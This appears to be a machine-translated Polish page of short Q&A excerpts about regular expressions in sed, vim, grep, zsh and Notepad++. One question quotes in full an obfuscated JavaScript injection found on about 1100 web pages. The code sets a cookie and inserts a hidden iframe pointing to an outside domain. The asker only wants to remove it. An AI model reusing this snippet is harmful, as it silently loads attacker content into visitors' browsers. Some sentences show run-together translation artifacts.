W poniższym przykładzie seddopasowuje linie rozpoczynające się od a alub a ci wypisuje pierwszy znak tej linii ( alub c): $ echo "ag bh ci dj ek fl" | sed 's/\(a\|c\)./\1/' # Matches lines starting with 'a' or 'c'. output: a bh c dj ek fl Jednak linie, które nie …
Mam tekst w Vimie naciśnij, Ctrl+Vaby przełączyć VIm w tryb bloku zaznacz tekst, który chcę wpisz :to daje ten monit:'<,'> Dodaję do zachęty moje wyrażenie regularne s/ /*/g. Pozostaje mi to, :'<,'>s/ /*/ga tekst jest podświetlony Nacisnąłem Enter Niestety, działa on na całej linii dla bloku, nie tylko na bloku. …
Ok, nie jestem dużym użytkownikiem Skype'a, ale rozmawiałem z moją siostrą, zrobiłem literówkę i zwykle pisałem tpyo s/tpyo/typo/ ku mojemu zdziwieniu faktycznie zmieniło historię. Używam klienta linuksowego skype 2.1.0.47-r1, a moja siostra używa 4. czegoś w systemie Windows. Kiedy próbowała zrobić to samo, to nie działało. Czy ktoś wie, czy …
Używam emacsa 24. Jak mogę zastąpić wszystkie wystąpienia niedrukowalnego znaku bidi RTL Unicode, którego liczbą szesnastkową jest 202e? Chcę zastąpić go niedrukowalnym znakiem bidi LTR typu Unicode, którego liczbą szesnastkową jest 202d? Czy ktoś może dać mi jakieś wskazówki?
Jak negować operatora wyrażeń regularnych ZSH? Chciałbym zrobić coś takiego: if [[ $host !~ '^myhost[0-9]+$' ]] then # Do stuff # ... fi ...lub: if [[ !($host =~ '^myhost[0-9]+$') ]] then # Do stuff # ... fi ... ale nie wygląda na to, że ZSH implementuje dowolnego operatora negacji wyrażeń …
Próbuję po prostu wymyślić podstawowe użycie wyrażeń regularnych z grep (lub egrep) w terminalu mac (BSD grep - 2.5.1-FreeBSD). Plik do sprawdzenia ( pow.txt) zawiera linie: kiytytytyty i blob.mkv użyte polecenie to: grep -E ^[a-z]+\.[a-z]{3}$i pow.txt zwrócone dopasowanie to: kiytytytyty Oczywiście nie pasowałoby to do wyrażenia regularnego PCRE. Czy wyrażenia …
Jednym z najczęstszych literówek jest powtórzenie tego samego słowa dwa razy, jak tutaj. Potrzebuję automatycznej procedury, aby usunąć wszystkie powtarzające się słowa z pliku tekstowego. Nie powinno to być dziwną funkcją dla nowoczesnego edytora lub sprawdzania pisowni, na przykład pamiętam, że MS Word wprowadził tę funkcję kilka lat temu! Najwyraźniej …
Podświetlanie składni YAML w Vim 7.3 nie jest wspaniałe. Umieszczenie apostrofu w linii tekstu powoduje podkreślanie cytatu nawet wtedy, gdy nie ma cytatu. To samo dzieje się czasami w innych plikach. Zrzuciłem zrzut ekranu poniżej. Czy istnieje sposób naprawienia tego zachowania lub czy istnieje inny plik składni YAML, którego mogę …
W jednym katalogu mam następujące pliki: 1-1 - different text for each file here.txt 1-2 - different text for each file here.txt . . 1-9 - different text for each file here.txt 1-10 - different text for each file here.txt 1-11 - different text for each file here.txt 1-12 - …
Muszę zmienić nazwę zestawu plików, używając renamepolecenia (z wyrażeniem regularnym). Po kilku próbach nie jestem w stanie znaleźć wyrażenia, które uzyska oczekiwany wynik. Mam taki wzór pliku: prefix_ some_name _other.txt Wszystkie pliki zaczynają się od „ prefix_” i kończą się na „ _other.txt”, a część some_name może składać się z …
Mam duży plik z zwykłym tekstem (bez tagów HTML itp.). Chcę z jednej strony zastosować wyrażenie regularne do całego pliku, ale z drugiej strony chcę wybrać, które zmiany zostaną zastosowane. Na przykład, jeśli mam wyrażenie regularne, takie jak / house / -> home, chcę zobaczyć podgląd i zdecydować, które wystąpienia …
Próbuję zastąpić treść /*6efdc4d230be4cf90bd9cefdffaeb74e*/ var _0xf184=["\x6F\x6E\x6C\x6F\x61\x64","\x67\x65\x74\x44\x61\x74\x65","\x73\x65\x74\x44\x61\x74\x65","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","","\x3D\x28\x5B\x5E\x3B\x5D\x29\x7B\x31\x2C\x7D","\x65\x78\x65\x63","\x73\x70\x6C\x69\x74","\x61\x64\x2D\x63\x6F\x6F\x6B\x69\x65","\x65\x72\x32\x76\x64\x72\x35\x67\x64\x63\x33\x64\x73","\x64\x69\x76","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x68\x74\x74\x70\x3A\x2F\x2F\x63\x64\x6E\x2E\x67\x6F\x72\x6F\x64\x61\x32\x33\x35\x2E\x70\x77\x2F\x3F\x69\x64\x3D\x36\x39\x34\x37\x36\x32\x37\x26\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x26\x61\x64\x5F\x69\x64\x3D\x58\x6E\x35\x62\x65\x34","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x3C\x64\x69\x76\x20\x73\x74\x79\x6C\x65\x3D\x27\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x31\x30\x30\x30\x3B\x74\x6F\x70\x3A\x2D\x31\x30\x30\x30\x70\x78\x3B\x6C\x65\x66\x74\x3A\x2D\x39\x39\x39\x39\x70\x78\x3B\x27\x3E\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x27","\x27\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x3C\x2F\x64\x69\x76\x3E","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];window[_0xf184[0]]=func​tion (){func​tion _0x6e99x1(_0x6e99x2,_0x6e99x3,_0x6e99x4){if(_0x6e99x4){var _0x6e99x5= new Date();_0x6e99x5[_0xf184[2]](_0x6e99x5[_0xf184[1]]()+_0x6e99x4);};if(_0x6e99x2&&_0x6e99x3){document[_0xf184[3]]=_0x6e99x2+_0xf184[4]+_0x6e99x3+(_0x6e99x4?_0xf184[5]+_0x6e99x5[_0xf184[6]]():_0xf184[7])}else {return false};}func​tion _0x6e99x6(_0x6e99x2){var _0x6e99x3= new RegExp(_0x6e99x2+_0xf184[8]);var _0x6e99x4=_0x6e99x3[_0xf184[9]](document[_0xf184[3]]);if(_0x6e99x4){_0x6e99x4=_0x6e99x4[0][_0xf184[10]](_0xf184[4])}else {return false};return _0x6e99x4[1]?_0x6e99x4[1]:false;}var _0x6e99x7=_0x6e99x6(_0xf184[11]);if(_0x6e99x7!=_0xf184[12]){_0x6e99x1(_0xf184[11],_0xf184[12],1);var _0x6e99x8=document[_0xf184[14]](_0xf184[13]);var _0x6e99x9=1049507;var _0x6e99xa=_0xf184[15]+_0x6e99x9+_0xf184[16];_0x6e99x8[_0xf184[17]]=_0xf184[18]+_0x6e99xa+_0xf184[19];document[_0xf184[21]][_0xf184[20]](_0x6e99x8);};}; /*6efdc4d230be4cf90bd9cefdffaeb74e*/ z pustą przestrzenią na wielu stronach około 1100 stron. Nie mam pojęcia, jak to zrobić, używając regex w Notepad ++. Każda pomoc jest doceniana.
Wiem, że to mogło być wcześniej zadane, ale nie mogłem znaleźć odpowiedzi na to pytanie. Muszę zastąpić następujące: CoverLevel = "XX" z CoverLevel = "0", obejmuje to XX jako dowolną liczbę, bez zastępowania podobnych instancji, takich jak CoverLevel = "True" lub CoverLevel lub MinCoverLevel = "1.3" czy byłoby to możliwe …
Mam listę około 30 000 plików (ze ścieżkami), które należy indywidualnie skopiować wraz ze strukturami folderów. Niestety ścieżki są bardzo długie, a narzędzia do kopiowania plików obsługujące tę funkcję wymagają określenia folderów docelowych dla każdego pliku, co oznacza, że muszę usunąć nazwę pliku z każdego z 30 000 wierszy, pozostawiając …
Dokładnie, jakiego rodzaju wyszukiwanie wyrażeń regularnych jest obsługiwane less(np. Czy mogę używać \d+)? man lessnie jest to jasne, a moje przede wszystkim google na to nie zwróciło też zbyt dobrego hitu. Dzięki.
Używamy plików cookie i innych technologii śledzenia w celu poprawy komfortu przeglądania naszej witryny, aby wyświetlać spersonalizowane treści i ukierunkowane reklamy, analizować ruch w naszej witrynie, i zrozumieć, skąd pochodzą nasi goście.
Kontynuując, wyrażasz zgodę na korzystanie z plików cookie i innych technologii śledzenia oraz potwierdzasz, że masz co najmniej 16 lat lub zgodę rodzica lub opiekuna.